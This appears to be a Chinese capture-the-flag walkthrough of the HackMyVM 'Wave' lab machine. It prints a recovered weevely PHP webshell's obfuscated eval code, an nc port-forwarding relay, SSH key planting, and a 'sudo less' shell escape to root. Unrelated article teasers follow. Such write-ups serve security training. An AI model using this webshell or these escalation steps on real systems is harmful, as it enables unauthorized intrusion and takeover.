[HackMyVM] 靶场 Wave

news/2024/10/21 9:47:23/

kali:192.168.56.104

主机发现

arp-scan -l
# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d2:e0:49, IPv4: 192.168.56.104
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:05       (Unknown: locally administered)
192.168.56.100  08:00:27:b7:e8:a6       PCS Systemtechnik GmbH
192.168.56.110  08:00:27:88:eb:be       PCS Systemtechnik GmbH

靶机:192.168.56.110

端口扫描

nmap -p- -A 192.168.56.110
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey: 
|   256 07:e9:c8:22:59:a5:00:41:15:fa:26:0f:7d:d3:29:ff (ECDSA)
|_  256 c7:81:8e:06:49:33:8f:1a:88:3b:82:9e:27:f3:72:1e (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry 
|_/backup
|_http-server-header: nginx/1.22.1

开启了22 80端口 

先看web

四个大字

目录扫描

gobuster dir -u http://192.168.56.110 -x html,txt,php,bak,zip --wordlist=/usr/share/wordlists/dirb/common.txt  
/backup               (Status: 301) [Size: 169] [--> http://192.168.56.110/backup/]
/index.html           (Status: 200) [Size: 31]
/index.html           (Status: 200) [Size: 31]
/robots.txt           (Status: 200) [Size: 18]
/robots.txt           (Status: 200) [Size: 18]

备份文件泄露

看了一下内容,只有weevely.bck有用

file看一下什么文件

# file weevely.bck 
weevely.bck: PHP phar archive with SHA1 signature

phar文件

提权phar文件

mv weevely.bck weevely.phar
php -d phar.readonly=0 -r '$phar = new Phar("weevely.phar"); $phar->extractTo(".");'
┌──(root㉿kali2)-[~/Desktop]
└─# php -d phar.readonly=0 -r '$phar = new Phar("weevely.phar"); $phar->extractTo(".");'          ┌──(root㉿kali2)-[~/Desktop]
└─# cat x
<?php eval('$k="3ddf0d5c";$kh="b6e7a529b6c2";$kf="d598a771749b";$p="afnqDsRcBpVmU71y";function x($t,$k){
$c=strlen($k);$l=strlen($t);$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++)
{
$o.=$t[$i]^$k[$j];
}
}
return $o;
}
if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode(@x(@gzcompress($o),$k));
print("$p$kh$r$kf");
}');               

php代码

这个weevely.phar应该使用weevely生成的马

连接密码是3ddf0d5cb6e7a529b6c2d598a771749b碰撞的结果

连接密码是aaazz

但是文件拓展名还不知道

测试发现拓展名为php7

weevely连接拿到www-data权限

weevely http://192.168.56.110/weevely.php7 aaazz[+] weevely 4.0.1[+] Target:     192.168.56.110
[+] Session:    /root/.weevely/sessions/192.168.56.110/weevely_0.session[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.weevely> whoami
www-data
www-data@wave:/var/www/html $

翻了一圈没有什么东西

看网段

ss -lntup
www-data@wave:/ $ ss -lntup
Netid State  Recv-Q Send-Q Local Address:Port Peer Address:PortProcess                        
udp   UNCONN 0      0            0.0.0.0:68        0.0.0.0:*                                  
tcp   LISTEN 0      511          0.0.0.0:80        0.0.0.0:*    users:(("nginx",pid=463,fd=5))
tcp   LISTEN 0      128          0.0.0.0:22        0.0.0.0:*                                  
tcp   LISTEN 0      1024       127.0.0.1:3923      0.0.0.0:*                                  
tcp   LISTEN 0      511             [::]:80           [::]:*    users:(("nginx",pid=463,fd=6))
tcp   LISTEN 0      128             [::]:22           [::]:*                               

在3923端口有个服务,并且只能127.0.0.1访问

转发一下端口,这里不能用ssh端口转发,因为没有.ssh文件

这里用nc转发到8080端口

nc -l -k -p 8080 -c "nc 127.0.0.1 3923"

拿到user flag

可以新建文件夹,也可以上传文件尝试写入ssh私钥

把我kali 里面的id_rsa和authorized_keys(原名是id_rsa_pub)传上去

ssh连接两个用户名 angie 和carla发现angie可以连接

# ssh -i /root/.ssh/id_rsa angie@192.168.56.110Enter passphrase for key '/root/.ssh/id_rsa': 
Linux wave 6.1.0-11-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.38-4 (2023-08-08) x86_64The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Sep  5 11:14:50 2023 from 192.168.0.100
angie@wave:~$ 

sudo -l

angie@wave:~$ sudo -l
Matching Defaults entries for angie on wave:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_ptyUser angie may run the following commands on wave:(ALL) NOPASSWD: /usr/bin/less -F /opt/secret.txt

-F 选项:less 显示的内容不足以填充整个屏幕时,-F 选项会使 less 以普通模式运行,不会将短文件直接输出到终端,而是以普通文件查看方式启动,这样您就能够使用 less 的所有功能。

所以窗口要非常小让两行内容显示不了才能在底端执行命令输入!bash

直接拿到root权限

root@wave:~# cd /root
root@wave:~# ls                                                                                                                                                                                                                                                                                    
root.txt                                                                                                                                                                                                                                                                                           
root@wave:~# cat r*                                                                                                                                                                                                                                                                                
HMVNVJrewoiu47rewFDSR                                                                                                                                                                                                                                                                              
root@wave:~# 

总结:1.备份文件泄露,weevely马连接

        2.nc端口转发

        3.ssh公私钥写入

        4.less -F提权


http://www.ppmy.cn/news/1372553.html

相关文章

【JavaEE】_Spring MVC项目使用数组与集合传参

目录 1. 使用数组传参 1.2 传递单个参数 1.3 传递多个名称相同的参数 1.3.1 关于urlencode 2. 使用集合传参 1. 使用数组传参 创建一个Spring MVC项目&#xff0c;其中 .java文件内容如下&#xff1a; package com.example.demo.controller;import com.example.demo.Per…

CatBoost中级教程:超参数调优与模型选择

导言 在机器学习中&#xff0c;选择合适的模型和调优合适的超参数是提高模型性能的关键步骤。CatBoost作为一种强大的梯度提升算法&#xff0c;具有许多可调节的超参数&#xff0c;通过合理选择和调优这些超参数可以提高模型的性能。本教程将详细介绍如何在Python中使用CatBoo…

《手把手教你》系列技巧篇(二十)-java+ selenium自动化测试-元素定位大法之终卷(详细教程)

1.简介 这篇文章主要是对前边的文章中的一些总结和拓展。本来是不打算写着一篇的&#xff0c;但是由于前后文章定位元素的时间有点长&#xff0c;怕大家忘记了&#xff0c;就在这里简单做一个总结和拓展。 2.Selenium八种定位方式 Selenium官方网站在使用教程中说到&#xf…

第十篇:如何利用人工智能技术做好营销流量整形管理?(Traffic Shaping)- 我为什么要翻译介绍美国人工智能科技巨头IAB公司

IAB平台&#xff0c;使命和功能 IAB成立于1996年&#xff0c;总部位于纽约市​​​​​​​。 作为美国的人工智能科技巨头社会媒体和营销专业平台公司&#xff0c;互动广告局&#xff08;IAB- the Interactive Advertising Bureau&#xff09;自1996年成立以来&#xff0c;先…

HTTPS如何保证数据传输的安全性 以及CA签发证书验签

暴力输出&#xff1a; 越看会越深入&#xff0c;睡前难以想通&#xff0c;后深入研究。得之。 有问题 请留言。 ----------追求内心的富足与平和。日行一善。 亓苏姑娘

Linux运维_Bash脚本_编译安装GNU-Tools

Linux运维_Bash脚本_编译安装GNU-Tools Bash (Bourne Again Shell) 是一个解释器&#xff0c;负责处理 Unix 系统命令行上的命令。它是由 Brian Fox 编写的免费软件&#xff0c;并于 1989 年发布的免费软件&#xff0c;作为 Sh (Bourne Shell) 的替代品。 您可以在 Linux 和 …

Git分布式管理-头歌实验本地版本库

一、本地版本库创建 任务描述 本地Git操作三部曲是“修改-添加-提交”&#xff0c;即先要在本地仓库进行添加、删除或编辑等修改&#xff0c;然后将本地所做的修改添加至暂存区。添加至暂存区的这些本地修改&#xff0c;并未提交到本地仓库&#xff0c;需要执行提交命令才能将暂…

大语言模型在科技研发与创新中的角色在快速变化

在技术研发与创新中&#xff0c;比如在软件开发、编程工具、科技论文撰写等方面&#xff0c;大语言模型可以辅助工程师和技术专家进行快速的知识检索、代码生成、技术文档编写等工作。在当今的软件工程和研发领域&#xff0c;尤其是随着大语言模型技术的快速发展&#xff0c;它…